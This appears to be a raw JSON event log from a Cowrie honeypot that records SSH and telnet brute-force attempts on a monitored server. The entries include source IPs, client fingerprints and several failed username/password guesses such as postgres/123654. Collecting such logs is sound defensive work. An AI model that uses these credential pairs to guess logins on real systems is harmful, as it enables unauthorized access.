{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:27.535872Z","src_ip":"165.227.170.113","session":"6a0e6b335278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"abcd","message":"login attempt [user1/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:27.894971Z","src_ip":"165.227.170.113","session":"6a0e6b335278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:28.980718Z","src_ip":"165.227.170.113","session":"6a0e6b335278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":29943,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b6548ac83c","protocol":"ssh","message":"New connection: 223.233.84.127:29943 (10.17.0.5:22) [session: 64b6548ac83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:33.805408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:33.810356Z","src_ip":"223.233.84.127","session":"64b6548ac83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:34.159025Z","src_ip":"223.233.84.127","session":"64b6548ac83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qazXSW@","message":"login attempt [test/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:35.214429Z","src_ip":"223.233.84.127","session":"64b6548ac83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:36.460885Z","src_ip":"223.233.84.127","session":"64b6548ac83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":34562,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a78b756675","protocol":"ssh","message":"New connection: 165.227.170.113:34562 (10.17.0.5:22) [session: a5a78b756675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:11.766272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:11.771824Z","src_ip":"165.227.170.113","session":"a5a78b756675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:11.857525Z","src_ip":"165.227.170.113","session":"a5a78b756675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"ansadmin123","message":"login attempt [ansadmin/ansadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:12.231253Z","src_ip":"165.227.170.113","session":"a5a78b756675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:13.323509Z","src_ip":"165.227.170.113","session":"a5a78b756675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":3204,"dst_ip":"10.17.0.5","dst_port":22,"session":"22b1be4dc4be","protocol":"ssh","message":"New connection: 223.233.84.127:3204 (10.17.0.5:22) [session: 22b1be4dc4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:30.186749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:30.192435Z","src_ip":"223.233.84.127","session":"22b1be4dc4be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:30.487525Z","src_ip":"223.233.84.127","session":"22b1be4dc4be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123654","message":"login attempt [postgres/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:31.540070Z","src_ip":"223.233.84.127","session":"22b1be4dc4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:32.797334Z","src_ip":"223.233.84.127","session":"22b1be4dc4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":41584,"dst_ip":"10.17.0.5","dst_port":22,"session":"342c63ee9511","protocol":"ssh","message":"New connection: 165.227.170.113:41584 (10.17.0.5:22) [session: 342c63ee9511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:56.238936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:56.245551Z","src_ip":"165.227.170.113","session":"342c63ee9511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:56.329875Z","src_ip":"165.227.170.113","session":"342c63ee9511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"password","message":"login attempt [debian/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:56.698140Z","src_ip":"165.227.170.113","session":"342c63ee9511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:47:57.785820Z","src_ip":"165.227.170.113","session":"342c63ee9511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00170230865479,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:01.757854Z","src_ip":"38.25.25.113","session":"b3783895fef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00240921974182,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:04.222000Z","src_ip":"38.25.25.113","session":"b9f9519f5712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":65210,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7599ffa864f","protocol":"telnet","message":"New connection: 38.25.25.113:65210 (10.17.0.5:23) [session: b7599ffa864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:05.150632Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":65330,"dst_ip":"10.17.0.5","dst_port":23,"session":"49fa5eef9812","protocol":"telnet","message":"New connection: 38.25.25.113:65330 (10.17.0.5:23) [session: 49fa5eef9812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:06.530242Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":19638,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b0c0acb5d94","protocol":"ssh","message":"New connection: 223.233.84.127:19638 (10.17.0.5:22) [session: 6b0c0acb5d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:26.967482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:26.972393Z","src_ip":"223.233.84.127","session":"6b0c0acb5d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:27.328963Z","src_ip":"223.233.84.127","session":"6b0c0acb5d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"1","message":"login attempt [ts3server/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:28.465285Z","src_ip":"223.233.84.127","session":"6b0c0acb5d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:29.735020Z","src_ip":"223.233.84.127","session":"6b0c0acb5d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33078,"dst_ip":"159.203.135.109","dst_port":23,"session":"5091456da7f6","protocol":"telnet","message":"New connection: 135.148.33.91:33078 (159.203.135.109:23) [session: 5091456da7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:29.957061Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":47332,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f4fa525e6d6","protocol":"ssh","message":"New connection: 165.227.170.113:47332 (10.17.0.5:22) [session: 9f4fa525e6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:39.833775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:39.838580Z","src_ip":"165.227.170.113","session":"9f4fa525e6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:39.920555Z","src_ip":"165.227.170.113","session":"9f4fa525e6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin@123","message":"login attempt [sysadmin/sysadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:40.278469Z","src_ip":"165.227.170.113","session":"9f4fa525e6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:41.366091Z","src_ip":"165.227.170.113","session":"9f4fa525e6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52838,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca61149b8e4","protocol":"telnet","message":"New connection: 45.58.127.90:52838 (10.17.0.5:23) [session: 6ca61149b8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:48:42.486871Z"}
{"eventid":"cowrie.session.closed","duration":32.832364559173584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:02.789320Z","src_ip":"135.148.33.91","session":"5091456da7f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":7564,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccdb0d37f6fd","protocol":"ssh","message":"New connection: 223.233.84.127:7564 (10.17.0.5:22) [session: ccdb0d37f6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:22.068068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:22.073438Z","src_ip":"223.233.84.127","session":"ccdb0d37f6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:22.432090Z","src_ip":"223.233.84.127","session":"ccdb0d37f6fd","protocol":"ssh"}
